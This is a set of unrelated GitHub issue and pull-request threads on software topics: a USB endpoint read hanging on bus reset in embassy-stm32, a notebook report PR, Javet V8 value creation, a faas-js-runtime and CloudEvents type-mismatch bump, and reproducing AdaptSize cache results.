If the bus is reset while a call to EndpointOut::read() is in progress for endpoint 0, does the EndpointOut::read() call ever get woken up anywhere so it can fail?  I don't have an STM32 to device to test on at the moment, but looking at the code I didn't see anything that wakes the ep_in_wakers on reset, and even if it was woken up, the code just checks doepctl.usbaep, which is always enabled for endpoint 0, even after a reset.  If EndpointOut::read() never returns it seems like the code will never call Bus::poll() again to receive the reset event.
It's quite possible that this code path isn't hit in most normal situations if hosts don't normally reset the bus in the middle of a transaction, and for bus powered devices it doesn't matter if someone unplugs the power in the middle of a transaction since the device will lose power anyway.
I happened to run into this in my testing since when first plugged in to a Linux host Linux will request the device descriptor once, then immediately reset the bus and request the descriptor again.  After that first device descriptor response, I tended to see the OUT status acknowledgement packet together in the same interrupt handler execution with the reset.  I was processing the reset event first (and flushing the RX FIFO and dropping the transaction acknowledgement), which meant that I needed to fix my EndpointOut::read() implementation to get woken up and fail correctly in this case if the bus was reset while a read was pending.  As best as I can tell from looking at the code, the embassy-stm32 read() implementation doesn't appear to get woken up in this case, but it looks like it happens to work since it processes the OUT status from the RX FIFO first before processing the reset.

Yeah, I realize that I'm probably doing some redundant work.

I haven't made much progress on this stuff anyway. I very quickly got overwhelmed and shelved the project. Too many questions to answer, too much to learn at once and too much behind NDA, so I'm quite happy to see someone else is making this a reality.

Ah, that's a good point. Yes, that should work to have callers declare the State object for me and pass it in to Driver::new(). Thanks!

I did this as well when I was initially trying to wrap usb-device. Let me know if hit any more Rusty issues like this, I may have already solved them :).
Looks like this issue can be closed now though.

i'm going to close this as "working as intended". poll() is intended for waiting for bus status changes, not for general driver background work. Drivers should either do work in interrupts (ideally) or spawn a background task (extra work for the user, more overhead).


Text (yaml) report for download

Fix #173
Fix #177
Fix #110

For reviewer:

Is the template code understandable?
Is the generated code in the notebook ok?
Is the format of the report ok? (Not expecting you to mind-read hypothetical future users, but anything that should just be fixed now?)

I think this adds all the required info, but we're just inserting the values into the generated code: The values also occur earlier in the template, but they aren't stored into variables. Doing that would add a level of generality that would interfere with the clarity of the examples at the top of the notebook, which I think are the priority... but I could be wrong.


V8Runtime.createV8ValueString() and V8Runtime.createV8ValueFloat()

I noticed these 2 methods seem to be missing, is this intended or maybe something that was overlooked?

Good question. They are primitive types that don't require V8Runtime to expose methods for creating new instances. Just go ahead and new them.
Tips: just search the Javet unit test, you will get recommended coding guidelines for all of them. Good luck!


chore: bump faas-js-runtime and cloudevents for node & TS

Changes
The Node.js and TypeScript templates have been bumped to the latest versions of faas-js-runtime (2.2.2) and CloudEvents (7.0.1).
There is an issue with the expectType test for TypeScript CloudEvent functions which I can't quite figure out, but the type test is not critical and does not do anything to validate other than whether the function signature is what's expected by faas-js-runtime, and in this case, I think type exported type for faas-js-runtime may actually be the issue here.
/kind chore
Release Note
* bumps faas-js-runtime to version 2.2.2
* bumps cloudevents to version 7.0.1

/cc @matejvasek

/test unit-tests

/test unit-tests

/override unit-tests_func_main

/hold

@lance it looks like there is a double definition of types.
There is node_modules/faas-js-runtime/node_modules/cloudevents/dist/event/cloudevent and node_modules/cloudevents/dist/event/cloudevent. They are not compatible that's why expectType<>() is not working I believe.

@lance what node_modules/faas-js-runtime/node_modules even is? I don't know much about node but having node_modules in module seems fishy to me.

When I delete node_modules/faas-js-runtime/node_modules the type-check does work.

It is weird nonetheless, I thought that TS is structurally type (not nominally) so I would expect even double definition to work.

@lance it looks like there is a double definition of types. There is node_modules/faas-js-runtime/node_modules/cloudevents/dist/event/cloudevent and node_modules/cloudevents/dist/event/cloudevent. They are not compatible that's why expectType<>() is not working I believe. But it is weird since the definitions are identical.

@lholmquist any idea why this would be happening?

/approve
/lgtm

/unhold


AdaptSize Object Hit Ratio

Hi, AdaptSize developers.
Your results are really outstanding.
I have read dozens of articles about caching algorithms in
Content Delivery Network (CDN) and none of the considering algorithm
when caching was not taken into account the size of the content
and in general all the algorithms have always added a new content ("newcomer")
and have only relied on the policy of eviction from the cache.
I am interested in caching algorithms, read a lot of articles but
couldn't understand why researchers don't condider the size of the content,
after all the size of the content is very influence on the cache system performance.
When I has read Your article
"AdaptSize: Orchestrating the Hot Object Memory Cache in a Content Delivery Network",
I was very pleased that our thoughts coincided.
Your article is unique in all senses: there is a good mathematical model, there is a very detailed
study of the algorithm performance compared to existing algorithms, and besides all this there is
also the implementation (in our time reference for the implementation of the algorithms from the
articles are often absent). But in order to develop science, it is very important to be able to
repeat the experiments described in scientific papers, and this can only be done having a detailed
description of the experiment (describe the requirements to the computing system, description of
dataset) or implementation. Your article has it all.
When I read article I wanted to repeat the results from the article.
I downloaded AdaptSize, webtracereplay, webcachesim repositories.
Then I launched all algorithms in webcacesim and also AdaptSize (with webtracereplay)
on my own datasets. And it turned out that the results AdaptSize lower than
all the rest algorithms (LRU, LRU-K, S4LRU, LFU-DA and etc).
There is a pure implementation (not as a part of varnish) of the AdaptSize
algorithm like implementations for webcachesim?
Or I can take from some place test data to repeat the experiment?
I've been looking for so long an article that takes into account the size of the content.
I really want to repeat the results that You presented in your article.

We discussed this via email, haven't we?
Were you able to resolve this issue?

I think that everything works as it should. Sorry for the late reply. Thank You so much for your help.


What does this mean?

I already asked ChatGPT, and I'm stressed up of searching the source code to get that py file and even pip install doesn't work

nvm, I just need to download the src folder :D